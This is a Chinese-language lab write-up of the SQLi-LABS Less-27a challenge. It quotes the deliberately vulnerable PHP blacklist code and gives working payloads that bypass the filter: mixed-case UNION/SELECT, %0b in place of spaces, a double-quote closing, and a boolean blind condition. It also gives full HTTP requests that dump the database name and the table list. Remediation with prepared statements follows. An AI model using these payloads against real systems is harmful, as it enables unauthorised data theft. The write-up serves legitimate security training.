Less-27a 审计报告:SELECT/UNION 大小写黑名单绕过(双引号,盲注)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-27a Trick with SELECT & UNION |
| 源码路径 | Less-27a/index.php |
| 漏洞类型 | SQL 注入 – 联合查询/布尔盲注(黑名单按精确大小写列举 select/union,双引号闭合) |
| 注入点参数 | GET /Less-27a/?id= |
| 报错/盲注 | 盲注(无报错回显,但有/无行差异可用于布尔判断,联合查询可直接显示) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-27a/index.php
// 第 20 行:用户输入直接取出
$id=$_GET['id'];
// 第 27 行:黑名单过滤
$id= blacklist($id);
// 第 32 行:用双引号包裹(先过滤后包裹)
$id = '"' .$id. '"';
// 第 35 行:数字型拼接(模板无引号,双引号由第 32 行提供)
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// 第 48~49 行:无报错回显
//print_r(mysql_error());
// 第 58~73 行:黑名单 —— 注释符、空格/加号、精确大小写的 select/union
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
return $id;
}
3. 漏洞分析
- 过滤机制:同 Less-27 —— 删
/*、--、#、空格/加号([ +]),删精确大小写列表中的select/union(select/union/UNION/SELECT/Union/Select)。无/i,故SeLeCt/UnIoN可绕过;空格可用%0b代替([ +]不删%0b)。 - 闭合方式:第 32 行
$id = '"' .$id. '"'给注入值套上双引号,最终WHERE id="<注入值>"。payload 需闭合",末尾以"收尾,让模板尾部的"落在别名位置。 - 盲注判定:
print_r(mysql_error())被注释;但联合查询返回的行会回显Your Login name/Your Password,因此UNION可以直接显示数据;布尔盲注则用"有行/无行"判定。 - 可被绕过的本质:黑名单按精确大小写列举关键字,混合大小写即可绕过。
4. 利用方式
步骤一:确认双引号闭合
?id=1"%0bUnIoN%0bSeLeCt%0b1,2,3%0b" → 若正常返回,说明 UnIoN/SeLeCt 与 %0b 均未被删,双引号闭合成立。
步骤二:联合查询直接显示数据(核心 payload)
-1"%0bUnIoN%0bSeLeCt%0b1,2,database()%0b"
第 32 行包裹后最终 SQL:
SELECT * FROM users WHERE id="-1" UnIoN SeLeCt 1,2,database() "" LIMIT 0,1
-1无匹配行,UNION 结果显示Your Login name:2、Your Password:security。
步骤三:布尔盲注(替代方案)
1"%0band%0b(ascii(substr(database(),1,1))%3E100)%0band%0b"1
包裹后:
SELECT * FROM users WHERE id="1" and (ascii(substr(database(),1,1))>100) and "1" LIMIT 0,1
- 条件真 → 返回 id=1 行;条件假 → 无行。
步骤四:提取其它数据
-1"%0bUnIoN%0bSeLeCt%0b1,2,group_concat(table_name)%0b%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema=database()%0b"
5. Yakit 重放数据包
GET /sqli-labs/Less-27a/?id=-1"%0bUnIoN%0bSeLeCt%0b1,2,database()%0b" HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
布尔盲注报文:
GET /sqli-labs/Less-27a/?id=1"%0band%0b(ascii(substr(database(),1,1))%3E100)%0band%0b"1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
%0b需保持 URL 编码形式;"在 query string 中可直接发送。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();
修复三:加固要点
- 精确大小写黑名单必然可被混合大小写绕过;应采用参数化 + 白名单。
id参数ctype_digit()/is_numeric()强校验。- 盲注不依赖报错,仍需参数化根治;数据库最小权限。
- 升级 PHP 7+ / 8+,移除
mysql_*。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。
正文完